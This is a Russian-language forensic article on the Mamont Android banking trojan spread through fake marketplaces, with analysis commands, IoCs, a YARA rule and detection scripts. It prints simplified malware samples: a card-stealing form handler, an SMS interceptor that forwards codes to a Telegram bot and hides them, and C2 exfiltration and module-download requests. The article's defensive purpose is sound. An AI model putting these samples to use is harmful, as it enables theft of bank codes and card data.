Схема "Мамонт" 2.0: анализ фейковых маркетплейсов и приложений-клонов

Разрешения:

- READ_SMS / SEND_SMS

- READ_CONTACTS

- RECEIVE_BOOT_COMPLETED

- FOREGROUND_SERVICE



Классификация:

- Trojan-Banker.AndroidOS.Mamont.bc

2.0 Core Modules:

├── SMS Interceptor

├── USSD Handler

├── NFCGate Integration

├── Keylogger

├── Screen Recorder

├── File Stealer

├── C2 via Telegram Bot

└── Auto-propagation Engine

// Упрощённая схема перехвата

form.addEventListener('submit', (e) => {

  e.preventDefault();

  sendToAttacker({

    cardNumber: form.card.value,

    cvv: form.cvv.value,

    expiry: form.expiry.value,

    phone: form.phone.value

  });

  showFakeError(); // "Технические работы, попробуйте позже"

});

Сообщение в Telegram:

"Здравствуйте! Продаю iPhone 15 Pro 256GB, 

совершенно новый, в плёнках. 

Цена 65000₽ вместо 99000₽

Ссылка на объявление: [фейковый-wildberries.com]"

Что видит пользователь:

"Для отслеживания заказа №12345678 

установите приложение Wildberries Track"

[Кнопка "Скачать"]



Что происходит на самом деле:

- Скачивается Mamont.apk

- Троян запрашивает опасные разрешения

- После установки начинается эксплуатация

Настоящий:  https://www.wildberries.ru

Фейковые:   https://wildberrles.ru         (две L)

            https://wildberries-shop.com   (другой домен)

            https://wldbrrs.ru             (сокращение)

            https://wb-official.store      (.store вместо .ru)

Домен: ozon-market.store

Срок существования: 4 дня

Жертв: ~150 человек

Ущерб: 2,3 млн рублей

Метод: Реклама в Telegram-каналах о скидках

Домен: aliexpres.shop (одна S)

Срок существования: 11 дней

Жертв: ~400 человек

Ущерб: 5,7 млн рублей

Метод: SEO-оптимизация, попадание в топ Google

Домен: mvideo-sale.com

Срок существования: 6 дней

Жертв: ~80 человек

Ущерб: 1,2 млн рублей

Метод: Email-рассылка "новогодние скидки"

<h2 id="izolirovannaya-pesochnitsa-dlya-bezopasnogo-analiza">Изолированная песочница для безопасного анализа</h2>

VirtualBox/VMware с Android-эмулятором

- Android Studio Emulator

- Genymotion

- BlueStacks (с осторожностью)



<h2 id="snapshotting-dlya-otkata-posle-zarazheniya">Snapshotting для отката после заражения</h2>

<h2 id="dekompilyatsiya-apk">Декомпиляция APK</h2>

apktool d malicious.apk -o output_dir



<h2 id="konvertatsiya-dex-v-jar">Конвертация DEX в JAR</h2>

d2j-dex2jar malicious.apk



<h2 id="dekompilyatsiya-java-koda">Декомпиляция Java-кода</h2>

jadx malicious.apk -d output_dir



<h2 id="analiz-manifesta">Анализ манифеста</h2>

aapt dump badging malicious.apk

<h2 id="perehvat-setevogo-trafika">Перехват сетевого трафика</h2>

mitmproxy / Burp Suite



<h2 id="monitoring-sistemnyh-vyzovov">Мониторинг системных вызовов</h2>

strace / ltrace



<h2 id="hooking-freymvorki">Hooking фреймворки</h2>

Frida

Xposed Framework



<h2 id="logirovanie">Логирование</h2>

adb logcat -s [TAG]

<h2 id="apk-eto-zip-arhiv">APK — это ZIP-архив</h2>

unzip mamont_sample.apk -d mamont_unpacked



<h2 id="struktura-faylov">Структура файлов</h2>

mamont_unpacked/

├── AndroidManifest.xml    # Манифест приложения

├── classes.dex            # Dalvik bytecode

├── resources.arsc         # Ресурсы

├── res/                   # Изображения, layout

├── lib/                   # Нативные библиотеки

└── META-INF/              # Подписи

<!-- Критичные разрешения Mamont -->

<uses-permission android:name="android.permission.READ_SMS"/>

<uses-permission android:name="android.permission.SEND_SMS"/>

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

<uses-permission android:name="android.permission.READ_CONTACTS"/>

<uses-permission android:name="android.permission.CALL_PHONE"/>

<uses-permission android:name="android.permission.READ_CALL_LOG"/>

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>

<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>



<!-- Автозапуск -->

<receiver android:name=".BootReceiver">

    <intent-filter>

        <action android:name="android.intent.action.BOOT_COMPLETED"/>

    </intent-filter>

</receiver>



<!-- Foreground service для постоянной работы -->

<service android:name=".MaliciousService" 

         android:foregroundServiceType="location"/>

// Упрощённый пример кода Mamont

public class SMSInterceptor extends BroadcastReceiver {

    @Override

    public void onReceive(Context context, Intent intent) {

        if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {

            Bundle bundle = intent.getExtras();

            Object[] pdus = (Object[]) bundle.get("pdus");

            

            for (Object pdu : pdus) {

                SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu);

                String sender = sms.getOriginatingAddress();

                String body = sms.getMessageBody();

                

                // Отправка на C2

                sendToTelegramBot(sender, body);

                

                // Для банковских SMS — перехват кода

                if (sender.contains("900") || body.contains("код")) {

                    abortBroadcast(); // Скрыть SMS от пользователя

                }

            }

        }

    }

}

<h2 id="poisk-podozritelnyh-strok">Поиск подозрительных строк</h2>

grep -r "telegram.org/bot" .

grep -r "http://" .  # Незащищённые соединения

grep -r "eval(" .    # Динамическое выполнение кода



<h2 id="poisk-kriptovalyutnyh-adresov">Поиск криптовалютных адресов</h2>

grep -rE "bc1[a-z0-9]{39,59}" .  # Bitcoin Bech32

grep -rE "0x[a-fA-F0-9]{40}" .   # Ethereum



<h2 id="poisk-base64-encoded-strok-chasto-skryvayut-url">Поиск base64-encoded строк (часто скрывают URL)</h2>

grep -rE "[A-Za-z0-9+/]{20,}={0,2}" .

<h2 id="zapusk-android-emulyatora">Запуск Android-эмулятора</h2>

emulator -avd Android_Forensics -no-snapshot-load



<h2 id="ustanovka-apk">Установка APK</h2>

adb install mamont_sample.apk



<h2 id="vklyuchenie-detalnogo-logirovaniya">Включение детального логирования</h2>

adb shell setprop log.tag.MalwareTag VERBOSE

<h2 id="nastroyka-proxy-cherez-mitmproxy">Настройка proxy через mitmproxy</h2>

adb shell settings put global http_proxy <HOST>:<PORT>



<h2 id="zapusk-perehvata">Запуск перехвата</h2>

mitmproxy --mode transparent --showhost



<h2 id="v-protsesse-raboty-prilozheniya-smotrim">В процессе работы приложения смотрим:</h2>

<h2 id="na-kakie-domeny-idut-zaprosy">- На какие домены идут запросы</h2>

<h2 id="kakie-dannye-otpravlyayutsya">- Какие данные отправляются</h2>

<h2 id="est-li-shifrovanie-https-vs-http">- Есть ли шифрование (HTTPS vs HTTP)</h2>

POST https://api.telegram.org/bot<TOKEN>/sendMessage

Content-Type: application/json



{

  "chat_id": "123456789",

  "text": "🔥 Новая жертва\n

          IMEI: 354358741258963\n

          Phone: +79161234567\n

          SMS перехвачены: 15\n

          Банк: Сбербанк\n

          Баланс: 127,450₽"

}

// Frida скрипт для перехвата SMS API

Java.perform(function() {

    var SmsManager = Java.use("android.telephony.SmsManager");

    

    SmsManager.sendTextMessage.implementation = function(dest, scAddr, text, sentIntent, deliveryIntent) {

        console.log("[*] SMS перехвачена!");

        console.log("    Кому: " + dest);

        console.log("    Текст: " + text);

        

        // Вызываем оригинальную функцию

        this.sendTextMessage(dest, scAddr, text, sentIntent, deliveryIntent);

    };

});

frida -U -f com.fake.marketplace -l hook_sms.js --no-pause

<h2 id="gde-mamont-hranit-dannye">Где Mamont хранит данные</h2>

adb shell

cd /data/data/com.fake.marketplace/



<h2 id="tipichnaya-struktura">Типичная структура:</h2>

shared_prefs/     # Конфигурация (C2 адреса)

databases/        # Украденные данные

cache/           # Временные файлы

files/           # Скрипты, дополнительные payload



<h2 id="izvlechenie-dlya-analiza">Извлечение для анализа</h2>

adb pull /data/data/com.fake.marketplace ./evidence/

.delivery.tracker

com.parcel.track

com.photo.viewer

com.system.updates

org.updates.service

<h2 id="izvlechenie-sertifikata">Извлечение сертификата</h2>

keytool -printcert -jarfile mamont.apk



<h2 id="harakternye-cn">Характерные CN:</h2>

CN=Android Debug, O=Android, C=US  # Debug сертификат

CN=Unknown, OU=Unknown, O=Unknown  # Самоподписанный

Bot API:

- api.telegram.org/bot<TOKEN>/sendMessage

- api.telegram.org/bot<TOKEN>/getUpdates



Резервные C2:

- Короткие домены: bit.ly, clck.ru, cutt.ly

- .onion адреса (через Orbot)

// Типичные классы Mamont

com.android.update.SystemUpdateService

com.system.service.BackgroundService

org.security.helper.NotificationHelper



// Типичные методы

interceptSMS()

uploadContacts()

executeUSSD()

hideApplication()

<h2 id="ustanovka">Установка</h2>

docker pull opensecurity/mobile-security-framework-mobsf



<h2 id="zapusk">Запуск</h2>

docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf



<h2 id="zagruzka-apk-cherez-veb-interfeys">Загрузка APK через веб-интерфейс</h2>

<h2 id="http-localhost-8000">http://localhost:8000</h2>




<h2 id="mobsf-avtomaticheski">MobSF автоматически:</h2>

<h2 id="dekompiliruet-apk">- Декомпилирует APK</h2>

<h2 id="analiziruet-manifest">- Анализирует манифест</h2>

<h2 id="ischet-nebezopasnye-praktiki">- Ищет небезопасные практики</h2>

<h2 id="proveryaet-razresheniya">- Проверяет разрешения</h2>

<h2 id="generiruet-otchyot-v-pdf">- Генерирует отчёт в PDF</h2>

: CRITICAL



Dangerous Permissions:

✗ READ_SMS (HIGH)

✗ SEND_SMS (HIGH)  

✗ RECEIVE_SMS (HIGH)

✗ READ_CONTACTS (MEDIUM)

✗ SYSTEM_ALERT_WINDOW (MEDIUM)



Code Analysis:

✗ Hardcoded API keys found

✗ Insecure random number generator

✗ External storage access

✗ Dynamic code loading (eval)



Network Security:

✗ Allows cleartext traffic

✗ No certificate pinning

✗ Suspicious domains detected



Malware Score: 98/100 (MALICIOUS)

Classification: Banking Trojan

Family: Mamont

ЗАКЛЮЧЕНИЕ ЭКСПЕРТА



Исследуемый объект: файл "WB_Tracker.apk"

MD5: a1b2c3d4e5f6789...

SHA256: 9f8e7d6c5b4a3210...



На основании проведённого форензического анализа установлено:



1. Файл является Android-приложением, содержащим 

   вредоносный код семейства Mamont.



2. Функционал включает:

   - Перехват SMS-сообщений

   - Отправку данных на удалённый сервер

   - Распространение через адресную книгу



3. Данное ПО классифицируется как банковский троян

   и представляет критическую угрозу.



Эксперт: _______________

         (подпись)

.215.113.XXX  # Bulletproof хостинг, Россия

45.142.212.XXX   # Offshore хостинг

194.36.191.XXX   # Компрометированный VPS

.org/bot*      # Легитимный API (используется)

track-order[.]ru       # Фейковый трекер

delivery-app[.]com     # Поддельная доставка

update-system[.]xyz    # "Обновление системы"

/api/v1/send_data

/upload/contacts

/receive/command

/bot<TOKEN>/sendMessage

:

a1f2c38d4b5e6789012345678901234a

9f8e7d6c5b4a32109876543210fedcba



SHA256:

9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08

7d865e959b2466918c9863afca942d0fb76679c68d8c6a8e8e8e8e8e8e8e8e8e

*фото*.apk

*видео*.apk

*список*.apk

*_track*.apk

*update*.apk

/data/data/com.delivery.tracker/

/data/data/com.system.updates/

/sdcard/.hidden/

/sdcard/Android/data/.system/

<h2 id="chastye-post-zaprosy-k-telegram-api">Частые POST-запросы к Telegram API</h2>

POST https://api.telegram.org/bot*/sendMessage

Частота: каждые 30-60 секунд



<h2 id="zagruzka-dopolnitelnyh-moduley">Загрузка дополнительных модулей</h2>

GET https://c2-server.com/modules/nfcgate.dex

GET https://c2-server.com/modules/keylogger.so

<h2 id="postoyannyy-monitoring-sms">Постоянный мониторинг SMS</h2>

content://sms/inbox

content://sms/sent



<h2 id="chtenie-kontaktov">Чтение контактов</h2>

content://contacts/people



<h2 id="ussd-zaprosy">USSD-запросы</h2>

tel:*100%23  # Проверка баланса

tel:*102%23  # Номер карты

<h2 id="imena-protsessov-mamont">Имена процессов Mamont</h2>

com.delivery.tracker:service

com.system.updates:background

org.security:notification



<h2 id="vsegda-zapuscheny-vysokiy-prioritet">Всегда запущены, высокий приоритет</h2>

<h2 id="ispolzuyut-foreground-service">Используют foreground service</h2>

<!-- /data/data/com.delivery.tracker/shared_prefs/config.xml -->

<map>

    <string name="bot_token">123456789:ABCdefGHIjklMNOpqr</string>

    <string name="chat_id">987654321</string>

    <string name="device_id">354358741258963</string>

    <boolean name="first_run">false</boolean>

    <long name="last_sync">1738253400000</long>

</map>

-- /data/data/com.delivery.tracker/databases/stolen.db



CREATE TABLE sms (

    id INTEGER PRIMARY KEY,

    sender TEXT,

    body TEXT,

    timestamp LONG,

    uploaded INTEGER DEFAULT 0

);



CREATE TABLE contacts (

    id INTEGER PRIMARY KEY,

    name TEXT,

    phone TEXT,

    synced INTEGER DEFAULT 0

);



SELECT * FROM sms WHERE sender LIKE '%900%';  -- Банковские SMS

<h2 id="sdcard-android-data-com-delivery-tracker-files-log-txt">/sdcard/Android/data/com.delivery.tracker/files/log.txt</h2>

[2026-01-30 14:23:15] App started

[2026-01-30 14:23:17] Permissions granted: SMS, CONTACTS

[2026-01-30 14:23:20] Connected to C2: SUCCESS

[2026-01-30 14:25:33] SMS intercepted from 900: "Код: 1234"

[2026-01-30 14:25:34] Uploaded to bot: SUCCESS

[2026-01-30 14:30:12] Contacts sync: 147 contacts sent

<h2 id="proverka-avtozapuska">Проверка автозапуска</h2>

adb shell settings get secure enabled_notification_listeners



<h2 id="mamont-registriruet-sebya-kak">Mamont регистрирует себя как:</h2>

com.delivery.tracker/.NotificationListenerService



<h2 id="proverka-administratora-ustroystva">Проверка администратора устройства</h2>

adb shell dpm list-owners

<h2 id="mamont-mozhet-zaprosit-device-admin-prava">Mamont может запросить Device Admin права</h2>

rule Android_Mamont_Trojan {

    meta:

        description = "Detects Mamont banking trojan"

        author = "ForensicAnvil.ru"

        date = "2026-01-30"

        

    strings:

        $a1 = "api.telegram.org/bot" ascii

        $a2 = "android.provider.Telephony.SMS_RECEIVED" ascii

        $a3 = "sendTextMessage" ascii

        $a4 = "getOriginatingAddress" ascii

        

        $b1 = "com.delivery.tracker" ascii

        $b2 = "com.system.updates" ascii

        

        $c1 = { 52 45 41 44 5F 53 4D 53 }  // "READ_SMS"

        $c2 = { 53 45 4E 44 5F 53 4D 53 }  // "SEND_SMS"

        

    condition:

        (uint32(0) == 0x04034b50) and  // ZIP signature (APK)

        (2 of ($a*)) and

        (1 of ($b*)) and

        (2 of ($c*))

}

yara -r mamont_rule.yar /path/to/apk/files/



<h2 id="rezultat">Результат:</h2>

<h2 id="android-mamont-trojan-path-to-suspicious-apk">Android_Mamont_Trojan /path/to/suspicious.apk</h2>

import hashlib

import os

import requests



<h2 id="baza-izvestnyh-heshey-mamont">База известных хэшей Mamont</h2>

KNOWN_MAMONT_HASHES = [

    "a1f2c38d4b5e6789012345678901234a",

    "9f8e7d6c5b4a32109876543210fedcba",

    # ... ещё 500+ хэшей

]



def check_apk(file_path):

    """Проверка APK на соответствие IoC"""

    

    # Вычисляем MD5

    with open(file_path, 'rb') as f:

        file_hash = hashlib.md5(f.read()).hexdigest()

    

    # Проверка по базе

    if file_hash in KNOWN_MAMONT_HASHES:

        return "MALICIOUS: Known Mamont sample"

    

    # Проверка через VirusTotal API

    vt_result = check_virustotal(file_hash)

    if vt_result['positives'] > 5:

        return f"SUSPICIOUS: {vt_result['positives']}/70 engines"

    

    return "CLEAN"



def check_virustotal(file_hash):

    """Проверка через VT API"""

    api_key = "YOUR_VT_API_KEY"

    url = f"https://www.virustotal.com/api/v3/files/{file_hash}"

    headers = {"x-apikey": api_key}

    

    response = requests.get(url, headers=headers)

    if response.status_code == 200:

        data = response.json()

        stats = data['data']['attributes']['last_analysis_stats']

        return {'positives': stats['malicious']}

    

    return {'positives': 0}



<h2 id="ispolzovanie">Использование</h2>

result = check_apk("/sdcard/Download/suspicious.apk")

print(result)

<h2 id="legitimnye-istochniki">Легитимные источники</h2>

adb shell pm list packages -i | grep "installer=com.android.vending"

<h2 id="com-android-vending-google-play-store">com.android.vending = Google Play Store</h2>




<h2 id="podozritelnye-istochniki">Подозрительные источники</h2>

adb shell pm list packages -i | grep "installer=null"

<h2 id="null-ustanovleno-vruchnuyu-sideload">null = установлено вручную (sideload)</h2>

<h2 id="spisok-razresheniy-prilozheniya">Список разрешений приложения</h2>

adb shell dumpsys package com.suspicious.app | grep permission



<h2 id="opasnye-kombinatsii-dlya-mamont">Опасные комбинации для Mamont:</h2>

READ_SMS + SEND_SMS + READ_CONTACTS = 🚨 RED FLAG

SYSTEM_ALERT_WINDOW + BIND_ACCESSIBILITY_SERVICE = 🚨 RED FLAG

<h2 id="izvlechenie-informatsii-o-podpisi">Извлечение информации о подписи</h2>

jarsigner -verify -verbose -certs suspicious.apk



<h2 id="priznaki-poddelki">Признаки подделки:</h2>

<h2 id="debug-sertifikat-v-production-apk">- Debug сертификат в production APK</h2>

<h2 id="cn-android-debug-o-android-c-us">- CN=Android Debug, O=Android, C=US</h2>

<h2 id="srok-deystviya-30-let-standard-debug-cert">- Срок действия: 30 лет (standard debug cert)</h2>

<h2 id="data-sozdaniya-1-mesyatsa-nazad">- Дата создания &lt; 1 месяца назад</h2>

apkid suspicious.apk



<h2 id="rezultat-dlya-mamont">Результат для Mamont:</h2>

<h2 id="detected-obfuscators">[!] Detected obfuscators:</h2>

<h2 id="proguard">- ProGuard</h2>

<h2 id="dexguard">- DexGuard</h2>

<h2 id="detected-packers">[!] Detected packers:</h2>

<h2 id="unknown-packer-custom">- Unknown packer (custom)</h2>

<h2 id="detected-anti-analysis">[!] Detected anti-analysis:</h2>

<h2 id="emulator-detection">- Emulator detection</h2>

<h2 id="root-detection">- Root detection</h2>

from androguard.core.bytecodes.apk import APK



apk = APK("suspicious.apk")



<h2 id="proverka-opasnyh-api">Проверка опасных API</h2>

dangerous_calls = [

    "sendTextMessage",       # Отправка SMS

    "abortBroadcast",        # Скрытие уведомлений

    "getInstalledPackages",  # Список приложений

    "execu



te",                # Выполнение команд

]



for method in apk.get_methods():

    for call in dangerous_calls:

        if call in method.get_code():

            print(f"[!] Dangerous call: {call} in {method}")

<h2 id="izvlechenie-vseh-strok">Извлечение всех строк</h2>

strings suspicious.apk > apk_strings.txt



<h2 id="poisk-podozritelnogo">Поиск подозрительного</h2>

grep -i "telegram.org" apk_strings.txt

grep -i "bot" apk_strings.txt

grep -i "http://" apk_strings.txt  # Незащищённые URL

grep -E "[0-9]{10}:[A-Za-z0-9_-]{35}" apk_strings.txt  # Telegram bot token

<h2 id="zapusk-v-izolirovannoy-srede">Запуск в изолированной среде</h2>

<h2 id="ispolzuem-cuckoo-droid">Используем Cuckoo Droid</h2>




cuckoo submit --package apk suspicious.apk



<h2 id="pesochnitsa-avtomaticheski">Песочница автоматически:</h2>

<h2 id="ustanavlivaet-apk">- Устанавливает APK</h2>

<h2 id="emuliruet-deystviya-polzovatelya">- Эмулирует действия пользователя</h2>

<h2 id="zapisyvaet-setevoy-trafik">- Записывает сетевой трафик</h2>

<h2 id="logiruet-sistemnye-vyzovy">- Логирует системные вызовы</h2>

<h2 id="delaet-screenshots">- Делает screenshots</h2>

<h2 id="generiruet-otchyot">- Генерирует отчёт</h2>

<h2 id="perehvat-cherez-tcpdump">Перехват через tcpdump</h2>

adb shell tcpdump -i any -s 0 -w /sdcard/capture.pcap



<h2 id="analiz-v-wireshark">Анализ в Wireshark</h2>

wireshark capture.pcap



<h2 id="ischem">Ищем:</h2>

<h2 id="post-zaprosy-s-dannymi-base64">- POST запросы с данными (base64)</h2>

<h2 id="zaprosy-k-telegram-api">- Запросы к Telegram API</h2>

<h2 id="dns-zaprosy-k-podozritelnym-domenam">- DNS запросы к подозрительным доменам</h2>

<h2 id="otslezhivanie-sistemnyh-vyzovov">Отслеживание системных вызовов</h2>

adb shell strace -f -p <PID> -o /sdcard/trace.log



<h2 id="v-loge-ischem">В логе ищем:</h2>

<h2 id="open-data-data-databases-mmssms-db-chtenie-sms">- open(&quot;/data/data/*/databases/mmssms.db&quot;)  # Чтение SMS</h2>

<h2 id="connect-k-vneshnim-ip">- connect() к внешним IP</h2>

<h2 id="write-s-bolshimi-obyomami-dannyh">- write() с большими объёмами данных</h2>

features = {

    # Статические признаки

    'num_dangerous_permissions': 5,

    'has_sms_permission': True,

    'has_internet': True,

    'obfuscated': True,

    'debug_certificate': False,

    'certificate_age_days': 7,

    

    # Структурные признаки

    'num_activities': 3,

    'num_services': 2,

    'num_receivers': 5,

    'has_boot_receiver': True,

    

    # Код-признаки

    'telegram_api_calls': 15,

    'sms_api_calls': 23,

    'reflection_usage': 8,

    'dynamic_code_loading': True,

    

    # Строковые признаки

    'suspicious_strings_count': 42,

    'url_count': 7,

    'ip_addresses_count': 3,

}

import pandas as pd

from sklearn.ensemble import RandomForestClassifier



<h2 id="dataset-10000-legitimnyh-2000-mamont-semplov">Датасет: 10000 легитимных + 2000 Mamont сэмплов</h2>

df = pd.read_csv('apk_features_dataset.csv')



X = df.drop('is_malware', axis=1)

y = df['is_malware']



<h2 id="obuchenie">Обучение</h2>

model = RandomForestClassifier(n_estimators=100)

model.fit(X, y)



<h2 id="predskazanie-dlya-novogo-apk">Предсказание для нового APK</h2>

features_new = extract_features('suspicious.apk')

prediction = model.predict([features_new])



if prediction[0] == 1:

    print("⚠️ MALWARE DETECTED")

    prob = model.predict_proba([features_new])[0][1]

    print(f"Confidence: {prob:.2%}")

def detect_sms_banking_attack(apk):

    score = 0

    

    # Проверяем разрешения

    if has_permission(apk, 'READ_SMS'):

        score += 30

    if has_permission(apk, 'SEND_SMS'):

        score += 30

    if has_permission(apk, 'RECEIVE_SMS'):

        score += 20

    

    # Проверяем поведение

    if calls_api(apk, 'abortBroadcast'):

        score += 40  # Скрытие SMS — CRITICAL

    

    if calls_api(apk, 'sendTextMessage'):

        score += 20

    

    # Проверяем сеть

    if connects_to(apk, 'telegram.org'):

        score += 30

    

    return score >= 100  # Порог детектирования



<h2 id="rezultat-dlya-mamont-170-iz-100-detected">Результат для Mamont: 170 из 100 (DETECTED)</h2>

def detect_credential_theft(apk):

    red_flags = []

    

    # AccessibilityService — keylogging

    if uses_service(apk, 'BIND_ACCESSIBILITY_SERVICE'):

        red_flags.append("Accessibility abuse")

    

    # Overlay attacks

    if has_permission(apk, 'SYSTEM_ALERT_WINDOW'):

        red_flags.append("Overlay attack possible")

    

    # Screenrecording

    if uses_api(apk, 'MediaProjection'):

        red_flags.append("Screen recording")

    

    return len(red_flags) >= 2



<h2 id="mamont-v-2026-ispolzuet-vse-tri-tehniki">Mamont в 2026 использует все три техники</h2>

// Политика: блокировать APK вне Google Play

{

  "blockUnknownSources": true,

  "allowedInstallers": [

    "com.android.vending",  // Google Play

    "com.huawei.appmarket"  // Huawei AppGallery (для китайских телефонов)

  ],

  "blockedApps": [

    "com.delivery.tracker",  // Known Mamont package

    "com.system.updates"

  ]

}

// В банковское приложение встраивается защита

public class BankApp extends Application {

    @Override

    public void onCreate() {

        super.onCreate();

        

        // Проверка на root

        if (RootDetection.isRooted()) {

            showSecurityWarning();

            return;

        }

        

        // Детектирование вредоносов

        if (MalwareScanner.detectMamont()) {

            alertSecurityTeam();

            lockApp();

        }

    }

}

<h2 id="blokirovka-c2-na-urovne-korporativnogo-firewall">Блокировка C2 на уровне корпоративного firewall</h2>

<h2 id="ispolzuem-threat-intelligence-feeds">Используем threat intelligence feeds</h2>




iptables -A OUTPUT -d 185.215.113.0/24 -j DROP

iptables -A OUTPUT -d 45.142.212.0/24 -j DROP



<h2 id="ili-cherez-dns-sinkhole">Или через DNS sinkhole</h2>

<h2 id="track-order-ru-0-0-0-0">track-order.ru -&gt; 0.0.0.0</h2>

✅ Чеклист безопасности APK:



1. Источник

   □ Скачан из официального Google Play?

   □ Ссылка ведёт на play.google.com?

   □ Не из Telegram/WhatsApp/Email?



2. Разработчик

   □ Известная компания?

   □ Есть сайт и контакты?

   □ Положительные отзывы в Google Play?



3. Разрешения

   □ Запрашивает только необходимые?

   □ НЕТ: SMS + Контакты + Телефон?

   □ НЕТ: Accessibility Service?



4. Файл

   □ Расширение .apk (не .jpg.apk)?

   □ Размер адекватный (> 1 МБ)?

   □ Имя файла без странных символов?



5. Перед установкой

   □ Проверен антивирусом?

   □ Проверен на VirusTotal?

   □ Есть сомнения? НЕ УСТАНАВЛИВАТЬ!



Если хотя бы один пункт НЕ выполнен — УДАЛИТЬ ФАЙЛ!

<h2 id="skript-dlya-proverki-telefona-na-mamont">Скрипт для проверки телефона на Mamont</h2>

adb shell pm list packages -3  # Список сторонних приложений



<h2 id="dlya-kazhdogo-podozritelnogo">Для каждого подозрительного:</h2>

adb shell pm dump <package> | grep -E "permission|installer"



<h2 id="priznaki-zarazheniya">Признаки заражения:</h2>

<h2 id="installer-null-ustanovleno-vruchnuyu">- Installer: null (установлено вручную)</h2>

<h2 id="razresheniya-read-sms-send-sms-read-contacts">- Разрешения: READ_SMS, SEND_SMS, READ_CONTACTS</h2>

<h2 id="ustanovleno-nedavno-ne-pomnite-ustanovku">- Установлено недавно, не помните установку</h2>

<h2 id="izyatie-smartfonov-poterpevshih">Изъятие смартфонов потерпевших</h2>

adb backup -apk -all -f victim_01_backup.ab



<h2 id="izvlechenie-apk-fayla">Извлечение APK-файла</h2>

adb pull /data/app/com.photo.viewer/base.apk mamont_sample.apk



<h2 id="vychislenie-hesha">Вычисление хэша</h2>

sha256sum mamont_sample.apk

<h2 id="rezultat-7d865e959b2466918c9863afca942d0fb76679c68">Результат: 7d865e959b2466918c9863afca942d0fb76679c68...</h2>

<h2 id="dekompilyatsiya">Декомпиляция</h2>

jadx mamont_sample.apk -d decompiled/



<h2 id="obnaruzheno">Обнаружено:</h2>

<h2 id="telegram-bot-token-6851234567-aahdqtcvch1vgwjxfseofsas">- Telegram Bot Token: 6851234567:AAHdqTcvCH1vGWJxfSeofSAs</h2>

<h2 id="chat-id-atakuyuschego-529876543">- Chat ID атакующего: 529876543*</h2>

<h2 id="c2-server-https-track-photo-com-api-upload">- C2 сервер: https://track-photo[.]com/api/upload</h2>

<h2 id="perehvachennye-zaprosy-k-telegram-api">Перехваченные запросы к Telegram API:</h2>




POST https://api.telegram.org/bot6851234567:*/sendMessage

{

  "chat_id": "529876543*",

  "text": "🆕 Новая жертва #23\n📱 +7916*1234\n💰 Сбербанк: 127,450₽"

}



POST https://api.telegram.org/bot6851234567:*/sendMessage

{

  "chat_id": "529876543*",

  "text": "📩 SMS от 900: Код 3456 для входа"

}

<h2 id="cherez-telegram-bot-api-poluchena-informatsiya">Через Telegram Bot API получена информация:</h2>

<h2 id="username-bota-home-photo">- Username бота: @home_photo_***</h2>

<h2 id="sozdan-14-01-2026-za-den-do-ataki">- Создан: 14.01.2026 (за день до атаки)</h2>

<h2 id="vladelets-skryt">- Владелец: скрыт</h2>




<h2 id="cherez-kriptobirzhi">Через криптобиржи:</h2>

<h2 id="btc-adres-bc1q">- BTC адрес: bc1q*...</h2>

<h2 id="tranzaktsii-na-summu-40-000">- Транзакции на сумму ~$40,000</h2>

<h2 id="chast-vyvedena-cherez-mixer-chast-na-birzhu">- Часть выведена через mixer, часть на биржу</h2>

<h2 id="kyc-dannye-zaprosheny-u-birzhi-cherez-mvd">- KYC данные запрошены у биржи (через МВД)</h2>

Продавец: Товар в наличии, новый, с гарантией

Покупатель: Можно фото?

Продавец: Конечно! Вот ссылка на мой магазин,

          там все фото: https://avlto-market[.]com

<h2 id="domen-avlto-market-com">Домен avlto-market.com</h2>

whois avlto-market.com



Registrar: Namecheap

Created: 2026-01-08 (за 2 дня до атаки)

Expires: 2027-01-08

Registrant: WhoisGuard Protected



<h2 id="ip-adres">IP-адрес</h2>

dig avlto-market.com

185.215.113.XXX  # Bulletproof хостинг, Москва



<h2 id="ssl-sertifikat">SSL-сертификат</h2>

openssl s_client -connect avlto-market.com:443

Issuer: Let's Encrypt

Valid from: 2026-01-09

Valid to: 2026-04-09

<!-- Исходный код показывает признаки фишинга -->



<!-- Форма оплаты ведёт на левый gateway -->

<form action="https://pay-gateway[.]xyz/process">

  <input name="card_number">

  <input name="cvv">

  <input name="expiry">

</form>



<!-- Ссылка на скачивание APK -->

<a href="https://cdn-avito[.]com/app/tracker.apk">

  Скачать приложение

</a>



<!-- cdn-avito.com НЕ принадлежит реальному Avito! -->

<h2 id="izvlechenie-iz-apk-informatsii-o-c2">Извлечение из APK информации о C2</h2>

strings Avito_Tracker_2026.apk | grep -E "http|api"



<h2 id="obnaruzheno">Обнаружено:</h2>

https://api.telegram.org/bot7239845612:AAE_*

https://c2-backend[.]xyz/api/victims

https://crypto-out[.]com/cashout



<h2 id="dekompilyatsiya-pokazala">Декомпиляция показала:</h2>

<h2 id="mamont-versiya-2-3-1">- Mamont версия 2.3.1</h2>

<h2 id="moduli-sms-contacts-keylogger-nfcgate">- Модули: SMS, Contacts, Keylogger, NFCGate</h2>

<h2 id="avtomaticheskaya-rassylka-po-adresnoy-knige">- Автоматическая рассылка по адресной книге</h2>

Схема вывода:



Жертва (банковский счёт)

    ↓

Подставное лицо "дроп" (50+ счетов)

    ↓

Криптообменник (5 разных сервисов)

    ↓

Bitcoin wallet (bc1q*...)

    ↓

Mixer (Wasabi Wallet)

    ↓

Зарубежная биржа (Binance, Bybit)

    ↓

Обнал через P2P



Прослежено:

- 18 млн руб → ~$190,000

- Через mixer прошло ~75% ($142,500)

- Обналичено через P2P в 7 странах

Текст письма:



Уважаемые сотрудники!



В связи с переходом на новую систему ЦБ РФ,

банк обновил своё мобильное приложение.



Для получения зарплаты 25.01.2026 необходимо

установить обновлённую версию.



Скачать: [ссылка на APK]



С уважением,

Бухгалтерия ООО "*"

<h2 id="den-1-obnaruzhenie">День 1: Обнаружение</h2>

<h2 id="security-analyst-zametil-anomaliyu-v-siem">Security analyst заметил аномалию в SIEM:</h2>

<h2 id="87-ustroystv-odnovremenno-podklyuchilis-k-podozritelnomu-ip">- 87 устройств одновременно подключились к подозрительному IP</h2>

<h2 id="massovye-sms-zaprosy-s-korporativnyh-telefonov">- Массовые SMS-запросы с корпоративных телефонов</h2>




